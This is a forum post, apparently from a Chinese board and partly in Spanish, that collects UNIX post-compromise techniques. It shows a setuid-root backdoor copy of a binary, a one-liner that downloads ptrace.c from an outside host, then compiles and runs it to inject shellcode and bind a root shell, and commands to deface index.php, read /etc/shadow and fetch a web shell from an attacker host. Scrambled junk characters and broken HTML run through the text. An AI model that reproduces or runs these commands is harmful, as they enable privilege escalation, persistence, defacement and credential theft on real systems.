QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4958|回复: 0
打印 上一主题 下一主题

总结UNIX成为root以后保持权限的方法

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-2-4 23:57 |只看该作者 |正序浏览
|招呼Ta 关注Ta
<><FONT color=#ff0000>by:cnbird</FONT></P>6 N% G0 T+ t3 E8 \* m
<>1.</P>
7 z6 n1 U: c& C4 }<>[cnbird@localhost tmp]#id</P>
2 o4 e3 Q0 n' c: e5 g<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>& s# L% Q6 }; o, g; A
<>[cnbird@localhost tmp]#cp `which id ` .</P>7 H7 [* {; T/ K5 n9 [* |5 i+ U8 S
<>[cnbird@localhost tmp]#chown root ./id</P>0 |7 C2 s( ?5 Y9 u5 @- z2 o( ^1 f2 @
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
/ }5 x4 ]; A$ G  Y% c<>[cnbird@localhost tmp]#ls -l ./id</P>
3 t, m3 J1 a# R( ]4 T<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
' c! z2 d  b" _0 M+ v) g<>[cnbird@localhost tmp]#exit</P>
$ Z2 v% G. Q* H<>[cnbird@localhost tmp]$id</P>
1 @; `( D  a% [/ o: F7 [0 R4 }<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>' g& u, E0 U  r* H7 i- I  D
<>[cnbird@localhost tmp]$./id </P>% O* j% k5 {: K+ D4 ~& s6 [! i
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
5 [4 l0 i, x" ~0 j! ~<>2.利用ptrace成为root的方法</P>2 N% v3 w6 F3 n" v
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace; N$ x& F) i) P
-&gt; Parent's PID is 2313. Child's PID is 2314.
# @0 P& d' \% _4 S4 n-&gt; Attaching to 2315...) e( p. N( a: B1 W- G2 n
-&gt; Got the thread!!; [  L, y% k" g4 T1 |5 u; C: B2 G
-&gt; Waiting for the next signal...
4 |1 ^0 {* ^6 q+ O+ ]7 x-&gt; Injecting shellcode at 0x4000e85d
5 N5 i( c% D* `( v-&gt; Bind root shell on port 24876... =p
: a8 \7 C9 t, y-&gt; Detached from modprobe thread.( t2 q! q5 F& g( u. g1 m6 r/ @
-&gt; Committing suicide.....</P>7 h8 t, q3 F6 Z8 L; U7 Q) C  `
<>[bash]# id
! p) v3 j- R  }2 U6 b2 ?uid=0(root) gid=0(root) groups=0(root)</P>
* y* S7 b' D3 I' a0 U3 R" m<>ara ver los dominios que hay en el server:" i& s0 r; K' W" j: D9 C+ L! a
---------------------------------------------------------
) t) o6 T3 D" J# }9 |" A) N3 icat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
. s" b2 v( \8 h7 Z  {' w7 |) @cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios- {" {# p: E( r, S: G% u1 u
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales) r; c6 R  X8 ^( q8 f
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio , z% s6 N; R* n: C
cat /etc/userdomains &lt;&lt; Este es el mas comun
, e1 G2 _: y6 i2 ?0 Y: R---------------------------------------------------------</P>
; @$ T, n% [8 L' v<>ara ver la version de kernel:  p1 L+ g, ]' U, d- a5 U
---------------------------------------------------------; a9 |) l+ D) p/ M
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.. A5 l6 S% ~2 A. }) H3 {
---------------------------------------------------------</P>$ |; V; {$ _; M7 n  ~4 S1 b3 J7 l
<>ara modificar un index ya existente:3 y3 N( c/ j/ [
---------------------------------------------------------' s+ K/ x! e5 Q% U5 N6 u( I) H- c
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
; `+ P3 I) M# s: g2 j---------------------------------------------------------</P>  l0 s- [  D9 N
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
! g- ?# r6 S1 L5 h& K+ g3 k$ b---------------------------------------------------------
" @  N3 i" i: i7 f# V9 j( d) wcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
) @0 M4 ^6 N1 C# N- pcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
8 `. ~- [( _. p- d/ ]0 A" F' fcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"2 }3 {; x4 Z/ N2 L; V; h! Z1 {
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
, T* S  R6 y4 Y8 d  g  k. Q1 |Hasta aqui termina el proceso para un exploit.
7 t  u1 i1 n5 E6 j+ M# H---------------------------------------------------------</P>: A. Q$ D! p$ }0 Q7 U
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
- F# C8 s+ o. \0 S7 K---------------------------------------------------------
8 Q  A' g7 Q5 xcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.. {0 P3 \9 c* \& H; }0 ]
---------------------------------------------------------</P>5 d' Q, d- X. g: N" @. T
<>Borrar un Ficher$ A( @7 V6 U) t! W) q* K
---------------------------------------------------------
$ q6 O& \& o' Z, C* Pcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
# d; L8 r1 `2 x+ z( l0 @4 E% B: _---------------------------------------------------------</P>
! r3 `6 l/ S( }+ s! m: u<>Subir un ficher
5 L1 E7 I8 P! k' c- S---------------------------------------------------------
3 S% _$ X' w- u" Y- K& v7 e3 zcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
, b3 \: [5 I$ t6 h* ]) s4 f/ |<>
% I6 w# Z% G$ z. ?' S<CENTER></CENTER>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-17 22:16 , Processed in 0.420341 second(s), 52 queries .

回顶部